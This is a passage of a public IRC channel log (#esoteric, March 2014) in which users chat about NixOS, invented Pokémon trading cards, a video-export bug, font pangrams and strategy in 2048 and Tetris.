:MoALTz!~no@user-31-174-194-235.play-internet.pl QUIT :Read error: Connection reset by peer < 1395510959 986873 :MoALTz!~no@user-31-174-194-235.play-internet.pl JOIN :#esoteric < 1395511005 745577 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Alias ::= 'User_Alias' User_Alias (':' User_Alias)* | ... reusing the name of the nonterminal as part of the concrete syntax might also have not been the best choice, especially when not all occurrences of the concrete string are quoted. < 1395512494 540928 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, ouch < 1395512680 107422 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :elliott, well I played around a bit with the nixos virtual appliance thing they have on their web-site. Still not quite there for me. Spent 45 minutes on trying to make my fontconfig settings take effect (KDE settings, ~/.fonts.conf, ~/.Xresources, asking NixOS IRC channel). About to give up < 1395512705 199520 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Vorpal: okay < 1395512807 311054 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395512810 87640 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :elliott, still, I love the concept of the OS, will probably revisit it in the future < 1395512843 316744 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :whats nixos < 1395512843 424919 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395512974 592879 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Phantom_Hoover, a really interesting linux distro. Ask elliott about the package manager. Kind of in 2 other conversations already so... < 1395513012 224590 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :i was asking elliott, albeit poorly < 1395513022 890354 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fair enough < 1395513040 10013 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I happen to be in two conversations, too! < 1395513061 710163 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395513077 666307 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395513130 23204 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :im in all the conversations < 1395513371 648192 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :of course nixos has a website which may already answer your questions < 1395513495 462823 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :int-e: yeah but this channel is the premium interactive version of the web. < 1395513544 413749 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I'm just doing my part by stating the obvious. :-P < 1395513788 937652 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :elliott, wait it's premium? < 1395513795 193233 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :i haven't payed anything, am i a pirate < 1395514322 317463 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net JOIN :#esoteric < 1395514489 797370 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Phantom_Hoover: don't worry, your bill will be in the mail. < 1395514678 474595 :nisstyre_!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395514796 485285 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395514829 133350 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395514932 344449 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395515087 35627 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 246 seconds < 1395515198 332477 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Ping timeout: 240 seconds < 1395515381 41048 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 246 seconds < 1395517768 336561 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1395517934 798332 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1395518103 196315 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1395518615 44281 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 246 seconds < 1395520259 23477 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I wrote some made-up-Pokemon-card. One of them is: [TRAINER] Play an evolution card in opponent's trash onto a card on his side which it can evolve from. < 1395520310 843567 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1395520409 815444 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Another one is: Put a card from your hand or trash or an energy card attached to one of your pokemon with your side cards. (Cannot be used if you already have 6 side cards.) < 1395520427 145885 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Do you like these thiings? < 1395520591 229039 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :First one is similar to POKEMON FLUTE but it is for evolution cards instead. It might prevent opponent from attacking/retreating due to lack of energy cards, or affect their powers, or can change their weakness/resistance. < 1395520680 2228 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the first one seems weak to me < 1395520692 119954 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :many decks don't really play evolution cards < 1395520694 110274 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and even if they do, they may not end up in trash < 1395520702 489548 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it might work if you could search your opponent's deck for one < 1395520732 781347 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Deewiant: (re your message) yes, that's believable, and unfortunate < 1395520738 605519 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :OK, although remember these are designed for the old game, not the modern one. < 1395520747 258508 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :people used evolutions even less in the old game < 1395520762 653639 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :one of the best decks was one that just played as many high-HP basics as possible < 1395520783 351505 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Although yes, allowing to search in their draw pile as well as trash would certainly make it more powerful. < 1395520811 391757 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :"side cards" = Prize cards? < 1395520821 14827 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :ais523: Yes it is another name for that < 1395520832 381835 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Not playing many evolution cards also would seem good for drafts and stuff like that < 1395520857 310777 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that second trainer seems very weak, especially because it doesn't do anything else < 1395520862 194629 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :like, not only do you go down a Prize < 1395520870 852763 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :you also have to play the card itself < 1395520878 876909 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :if it also drew you a card, then that would be less bad < 1395520891 466259 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and maybe it'd be used by a deck that wanted the effect < 1395521013 227552 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Actually it can help in the right circumstancse if you don't also draw a card. One thing you can get the card back, but maybe you also want to get rid of the card from where it currently is In the right circumstances it can be of much help, if your strategy is around getting the card you need, otherwise you may lose time and the opponent may gain time. < 1395521014 421987 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :ais523: Relatedly, doing the encode fully in memory is somewhat uncomfortable with multi-gigabyte outputs like that (especially with Java's annoying -Xmx setting requirement to actually use available RAM) < 1395521040 866277 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Deewiant: I didn't actually realise that people would produce multiple-gigabyte outputs with jettyplay < 1395521055 523954 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :ais523: I figured :-) < 1395521162 388306 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric ::( < 1395521170 116868 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :anyway, jettyplay allows pluggable container formats < 1395521171 974926 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :POKEMON FLUTE can be helpful to get opponent's cards that have powers that benefit you. It can also help if it is a card with a high retreat cost, use GUST OF WIND to activate it and stop them from retreating, especially if you have card that can attack bench pokemon cards. < 1395521172 884828 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :Oh, it also crashed quite quickly when using 720p without ZMBV, hang on < 1395521173 489996 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :just AVI is the only one I implemented < 1395521183 24140 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and yeah, that's pretty much inevitable < 1395521188 879325 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that's just running out of memory to store uncompressed video < 1395521197 469945 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :really, the raw option's only there because I implemented it first for testing < 1395521198 907340 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :No, I mean like on the first frame or so < 1395521210 365747 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :Hang on while I try to reproduce < 1395521210 821374 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :This one with evolution cards, you could evolve opponent's cards to increase their retreat cost, but also to affect their weakness/resistance, for example EEVEE evolving into many different card with different weakness/resistance. < 1395521237 278907 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :ais523: java.lang.IllegalArgumentException: Pixel stride times width must be less than or equal to the scanline stride < 1395521244 957852 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :huh < 1395521254 164954 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :On frame 2, actually, according to the dialog < 1395521263 263672 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :Or then it's frame 1 and it updated the dialog early < 1395521298 398251 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Some cards although ordinarily don't help much, can be extremely good in the correct circumstances. < 1395521380 169315 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :zzo38: and such cards normally aren't worth the opportunity cost of drawing them < 1395521415 154810 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Depending on the rest of the cards in the deck, they can be; I have had these experiences a lot. < 1395521429 836561 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :ais523: Irrelevant of resolution actually too, I only tried 720 earlier < 1395521439 54776 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Also if you are playing some kind of draft formats or other ways the cards are randomized, you may get it anyways. < 1395521449 682060 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Deewiant: oh that makes more sense, it's probably something simple then < 1395521455 639655 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :The second card I listed can be very good if you are able to knock out opponent's pokemon card on your turn. < 1395521473 304399 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Knocking out bench pokemon card is best so that they cannot freely switch to another active card. < 1395521556 748043 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Of course evolution cards are more difficult to play in a drafted game, unless you modify the rules so that they can still be played effectively. < 1395521986 142334 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Some cards have some uses which are situational and some are common. Some cards have some uses which have situations which are common enough. Some cards which are good in some situations, can be good with situations involving your own cards, which is good, but then there may also be situations based on opponent's cards, which helps even more. < 1395522180 325363 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395522190 959678 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :DIGGER can be good in a situation where your attacks do more damage with more damage on you. < 1395522251 918310 :jconn!~va@1-130.ipswich.cc.colocall.com JOIN :#esoteric < 1395522438 358323 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Ping timeout: 240 seconds < 1395522533 699161 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395522665 608959 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :GOOP GAS ATTACK can be good to get rid of opponent's powers, but it is especially good if you also have some cards with your own powers which affect both players; you can then cancel those powers too. < 1395522871 195522 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :so can you build a turing machine with them? < 1395522886 454189 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I don't know. < 1395522962 623078 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(this question was inspired by http://www.toothycat.net/~hologram/Turing/ ) < 1395522971 114069 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes I have seen that. < 1395523188 655896 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I have a Team Rocket strategy guide for Pokemon Card. It is really terrible; they totally neglect defense and sacrifice, and miss a lot of other things. They say CHALLENGE! is really good, but I don't think so. < 1395523258 439037 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :One thing they don't mention is that if you have DARK VAPOREON [Lv.28], and your opponent has a card with high retreat cost and high attack cost, it can very good. Especially, if you also have GENGAR [Lv.38] then you can move damage onto their bench pokemon cards instead. < 1395523321 476671 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I think it might be a bit more useful if DARK VAPOREON [Lv.28]'s second attack did less damage, though. < 1395523770 793854 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :GUST OF WIND is a very good card in a lot of situations (just ensure you don't waste it). You can eliminate the opponent's strong attacking card (possibly before they get a chance to attack, evolve, or use a power). You can select a card with high attack and retreat costs in order to gain time. If you are close to winning, you can even use it to activate a card you can easily knock out. And yet there are many more possibilities! < 1395523877 594164 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It is also often a good idea to not knock out opponent's active pokemon cards, although this depends a lot on the circumstances. < 1395524660 440551 :Phantom_Hoover!~phantomho@cpc6-sgyl21-0-0-cust62.18-2.cable.virginm.net JOIN :#esoteric < 1395524668 354081 :Phantom_Hoover!~phantomho@cpc6-sgyl21-0-0-cust62.18-2.cable.virginm.net QUIT :Changing host < 1395524668 411186 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1395525161 69374 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I suppose it should not be surprising that the strategy guide neglects defense; another book I have says the same thing about books about chess. However, it still also fails to mention various other things too, so that isn't entirely it. < 1395525339 784718 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Since I talked about that photo thing here, here's a quick average of all 25 photos I have so far (with histogram equalization to make it a bit less bland): https://dl.dropboxusercontent.com/u/113389132/Misc/20140322-align.jpg < 1395525349 496222 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Will play around with the column thing later. < 1395525558 386716 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 240 seconds < 1395525616 134207 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :zzo38: do you have to be JOHN to play GUST OF WIND < 1395525616 654979 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :? < 1395525628 665540 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Sgeo: No. < 1395526027 327601 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395526207 321318 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395526209 506458 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395526593 729299 :DaedricBunny!~Daedricbu@c-71-226-106-237.hsd1.sc.comcast.net JOIN :#esoteric < 1395526606 690343 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Also: https://dl.dropboxusercontent.com/u/113389132/Misc/20140322-align2.jpg < 1395527456 245102 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 QUIT :Ping timeout: 246 seconds < 1395527476 196124 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 JOIN :#esoteric < 1395528439 111608 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ACTION goes to watch The Best of Both Worlds < 1395528627 65381 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Why does the Windows font viewer use "The quick brown fox jumps over the lazy dog" for some fots and "Jackdaws love my big sphinx of quartz" for some fonts? < 1395528648 101830 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(Both sentences are pangrams, but I don't know why it has two) < 1395528813 423180 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395529089 221257 :MoALTz!~no@user-31-174-194-235.play-internet.pl QUIT :Quit: Leaving < 1395529170 164410 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1395529230 112730 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1395529431 954112 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395529719 130773 :Bike!~Glossina@24-221-58-166.pools.static.spcsdns.net JOIN :#esoteric < 1395529726 735700 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Ping timeout: 268 seconds < 1395529966 633635 :Slereah_!~jackal@244.168.90.79.rev.sfr.net QUIT :Read error: Connection reset by peer < 1395530007 338569 :Slereah_!~jackal@244.168.90.79.rev.sfr.net JOIN :#esoteric < 1395531258 313751 :Bike!~Glossina@24-221-58-166.pools.static.spcsdns.net QUIT :Ping timeout: 240 seconds < 1395531522 10212 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :zzo38: Have you discovered some kind of pattern in the fonts where it chooses one or the other, e.g. about their format? < 1395532055 148366 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 246 seconds < 1395532400 682870 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :fizzie: I tried to, but didn't find any. < 1395532932 382927 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395532965 112456 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395533007 700894 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1395533210 100689 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 246 seconds < 1395534359 400904 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395535284 12485 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :boily: https://en.wikipedia.org/wiki/Anzu_(dinosaur) hth < 1395535298 20098 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm he looks idle < 1395535310 47202 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@tell boily https://en.wikipedia.org/wiki/Anzu_(dinosaur) hth < 1395535310 159085 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1395535799 4741 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1395536041 130981 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Client Quit < 1395536155 501780 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I happen to think the second card I listed that I made up is really pretty good. You can use it with GENGAR [Lv.38] and possibly pick up the card before the end of your turn. You can also use RATTATA [Lv.12] and then pick up the card next turn! You can also use it if you want to recycle a special energy card, get rid of a card in your hand, or other purposes. < 1395536191 503517 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :There are some opponent's cards that might cause damage based on how many side cards you have already picked up, so perhaps you can defend against such thing. < 1395536532 39952 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :oerjan: hellørjan! < 1395536537 229541 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :@massages-loud < 1395536537 362399 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :oerjan said 20m 27s ago: https://en.wikipedia.org/wiki/Anzu_(dinosaur) hth < 1395536574 406897 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :oerjan: uhm. why are you dinosauring me? twh < 1395536607 170808 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :boily: i hear you're interested in chickens hth < 1395536697 166675 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395536794 444632 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :oerjan: it may be the case tdh < 1395536972 329036 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Ping timeout: 265 seconds < 1395537448 270120 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://gaming.stackexchange.com/questions/161098/when-is-it-numberwang < 1395537621 574959 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that question is more sensible than I was hoping :-( < 1395537631 63357 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I take it that 2048 variant doesn't actually have a win condition? < 1395537637 277884 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :(actually, "reach 2048" would almost make sense) < 1395537654 22508 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also, 2048 disappoints me, in that I feel that it's reasonable for there to be a 100% reliable strategy, yet apparently there isn't < 1395537777 965753 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :i think if there was a no-op move it would maybe be much easier < 1395537783 728451 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also it has the permadeath difficulty curve trap < 1395537821 164721 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :shachaf: the official version doesn't work on my computer, so I've been playing the js1k version (in 2048 bytes) that never adds 4s, and adds a 2 when you perform a move that moves nothing < 1395537829 580191 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :in addition to when you perform a move that moves something < 1395537836 821637 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ais523: what's the permadeath difficulty curve trap < 1395537840 545637 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :even though that's much easier < 1395537857 981079 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: when you make the game get harder as it goes along, with the start trivial < 1395537860 542730 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :in a game with permadeath < 1395537868 559353 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm < 1395537874 647871 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it means every time you screw up you have to play through like half an hour of nothing much happening < 1395537885 399303 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :the correct curve is downwards < 1395537886 744426 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ais523: tetris also does that fwiw < 1395537907 520198 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :btw this is a weird thing for you to say given that this is one of crawl's most obvious differences from nethack < 1395537911 920649 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :in Tetris it's less bad because a) you can start at a higher difficulty, b) the goal is to last as long as possible, rather than reach a set location < 1395537919 492407 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :elliott: Crawl and NetHack both curve downwards, though < 1395537926 640237 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm right < 1395537937 541909 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :what did you think the difference was? < 1395537946 683114 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :back when i played, i usually started at the second last difficulty level < 1395537982 43385 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ais523: well, OK < 1395537983 162547 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also, many versions of Tetris have a set-length mode, and those modes normally don't get more difficult over time < 1395537987 954082 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :since the last one was impossible to keep up for any length of time, while starting as high as you could gave the most points < 1395537990 291868 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :(in fact, they get easier as you clear garbage blocks) < 1395538013 718853 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also I used to play Tetris on the secret difficulty 19 for a while, before going back to 9 for actual play < 1395538037 390319 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :there's a secret 19? < 1395538040 377103 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I'm no good at 19, but it got me in the right mindframe for playing something much easier by comparison < 1395538048 249581 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :there's an extra set of difficulties above 9 on the Game Boy version < 1395538055 59698 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :hold, umm, I think it was Down at the title screen < 1395538072 469842 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it just displays the last digit (and a heart sign), but they're all much faster < 1395538076 314998 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :than the originals < 1395538119 180724 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ais523: something interesting about 2048 is that if you play well the difficulty fluctuates by dropping down when you round a new block size < 1395538126 298828 :DaedricBunny!~Daedricbu@c-71-226-106-237.hsd1.sc.comcast.net QUIT :Quit: quit :: (User u) => u -> Action () < 1395538139 843258 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: yes, although having a very full board also reduces the difficulty < 1395538143 648247 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :in that everything becomes predictable < 1395538152 407776 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :as long as you're using a version that doesn't drop 4s, anyway < 1395538320 243352 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :huh < 1395538345 996851 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i suspect if you had only 2's then there _might_ be a more obvious perfect play < 1395538348 924250 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :one simple way to look at it is that 2048 on a 16x1 board, the only time things go wrong is when you're forced to press the forbidden direction (there are only two) < 1395538356 732494 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :probably even with 4s dropping < 1395538389 809112 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :unless 2s and 4s decide to drop alternating, but you can't do much about that < 1395538396 289057 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh hm right when they are placed next to where you want them. < 1395538422 747254 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :er < 1395538430 374343 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :something vaguely similar to what i said < 1395538451 603434 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yeah, I think I know what you mean even though it's nothing like what you said < 1395538490 991860 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :good, good < 1395538650 748711 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :ais523: at which number would you stop expecting there to always be a reliable strategy? < 1395538671 924936 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :anyway, this js1k version is indeed much easier, except for the flickering < 1395538697 60198 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that's a good question, possibly 1024 < 1395538734 16354 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :Also, why doesn't it work on your computer? < 1395538742 560009 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :or maybe 8192 < 1395538747 203059 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and no idea, the controls just don't work < 1395538750 447398 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :On my old computer with an old browser, it fails because something has a "continue" attribute. < 1395538756 890270 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :Oh, but it does draw the numbers? < 1395538759 134247 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yes < 1395538769 334876 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :at least, I think so < 1395538775 754062 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I only tried twice, a while back < 1395538794 287233 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :incidentally, someone used a bot that uses alpha-beta search to try to minimize the impact of bad luck < 1395538806 731340 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :playing an uncapped version, it got a 2048 and 4096 on the same board < 1395539510 656871 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395539635 950675 